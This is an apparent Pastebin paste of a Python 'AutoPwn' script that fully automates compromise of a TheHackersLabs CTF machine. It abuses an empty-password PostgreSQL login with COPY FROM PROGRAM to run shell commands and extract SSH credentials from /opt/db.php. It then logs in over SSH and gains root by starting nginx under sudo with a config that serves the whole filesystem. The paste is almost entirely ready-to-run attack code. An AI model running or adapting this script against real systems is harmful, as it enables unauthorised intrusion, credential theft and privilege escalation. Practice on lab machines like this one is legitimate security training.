mikisbd

AUTOPWN El Ninja - TheHackersLabs

May 16th, 2026 (edited)
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.12 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2. # AUTOPWN El Ninja - thehackerslabs - https://labs.thehackerslabs.com/machine/194
  3. import sys
  4. import time
  5. import psycopg2
  6. import paramiko
  7. import re
  8.  
  9. if len(sys.argv) != 2:
  10.     print(f"Usage: {sys.argv[0]} <IP>")
  11.     sys.exit(1)
  12.  
  13. IP = sys.argv[1]
  14.  
  15. print(f"[*] Starting AutoPwn against {IP}")
  16.  
  17. # Step 1: Get SSH credentials via PostgreSQL
  18. print("[*] Exploiting PostgreSQL (port 5432) to read /opt/db.php...")
  19. try:
  20.     conn = psycopg2.connect(
  21.         host=IP,
  22.         user="postgres",
  23.         password="",
  24.         dbname="postgres",
  25.         connect_timeout=5
  26.     )
  27.     conn.autocommit = True
  28.     cur = conn.cursor()
  29.    
  30.     # Create temp table
  31.     cur.execute("CREATE TABLE IF NOT EXISTS exploit_cmd(cmd_output text);")
  32.     cur.execute("DELETE FROM exploit_cmd;")
  33.    
  34.     # Run command to read /opt/db.php
  35.     cur.execute("COPY exploit_cmd FROM PROGRAM 'cat /opt/db.php';")
  36.     cur.execute("SELECT * FROM exploit_cmd;")
  37.    
  38.     output = cur.fetchall()
  39.    
  40.     ssh_user = None
  41.     ssh_pass = None
  42.    
  43.     for row in output:
  44.         line = row[0]
  45.         if "'username' =>" in line:
  46.             ssh_user = line.split("'")[3]
  47.         if "'password' =>" in line:
  48.             ssh_pass = line.split("'")[3]
  49.            
  50.     if not ssh_user or not ssh_pass:
  51.         print("[-] Failed to extract credentials from db.php")
  52.         sys.exit(1)
  53.        
  54.     print(f"[+] Found credentials: {ssh_user}:{ssh_pass}")
  55.     cur.execute("DROP TABLE exploit_cmd;")
  56.     cur.close()
  57.     conn.close()
  58.  
  59. except Exception as e:
  60.     print(f"[-] PostgreSQL exploit failed: {e}")
  61.     sys.exit(1)
  62.  
  63. # Step 2: SSH and User Flag
  64. print(f"[*] Connecting to SSH as {ssh_user}...")
  65. try:
  66.     ssh = paramiko.SSHClient()
  67.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  68.     ssh.connect(IP, username=ssh_user, password=ssh_pass, timeout=5)
  69.    
  70.     stdin, stdout, stderr = ssh.exec_command("cat /home/wvverez/user.txt")
  71.     user_flag = stdout.read().decode('utf-8').strip()
  72.     print(f"[+] User Flag: {user_flag}")
  73.    
  74.     # Step 3: Privilege Escalation via Nginx
  75.     print("[*] Escalating privileges via sudo nginx...")
  76.     nginx_conf = """user root;
  77. events {
  78.    worker_connections 1024;
  79. }
  80. http {
  81.    server {
  82.        listen 8080;
  83.        root /;
  84.        autoindex on;
  85.    }
  86. }
  87. """
  88.     # Write conf to /tmp/pwn.conf
  89.     cmd_write = f"cat << 'EOF' > /tmp/pwn.conf\n{nginx_conf}\nEOF"
  90.     ssh.exec_command(cmd_write)
  91.     time.sleep(1)
  92.    
  93.     # Start nginx as root
  94.     ssh.exec_command("sudo /usr/sbin/nginx -c /tmp/pwn.conf")
  95.     time.sleep(2)
  96.    
  97.     # Read root flag
  98.     stdin, stdout, stderr = ssh.exec_command("curl -s http://localhost:8080/root/root.txt")
  99.     root_flag = stdout.read().decode('utf-8').strip()
  100.    
  101.     if root_flag:
  102.         print(f"[+] Root Flag: {root_flag}")
  103.     else:
  104.         print("[-] Failed to get root flag.")
  105.    
  106.     # Cleanup
  107.     ssh.exec_command("sudo pkill nginx")
  108.     ssh.exec_command("rm /tmp/pwn.conf")
  109.     ssh.close()
  110.    
  111. except Exception as e:
  112.     print(f"[-] SSH exploitation failed: {e}")
  113.     sys.exit(1)
  114.  
  115. print("[*] AutoPwn complete!")
Advertisement
Add Comment
Please, Sign In to add comment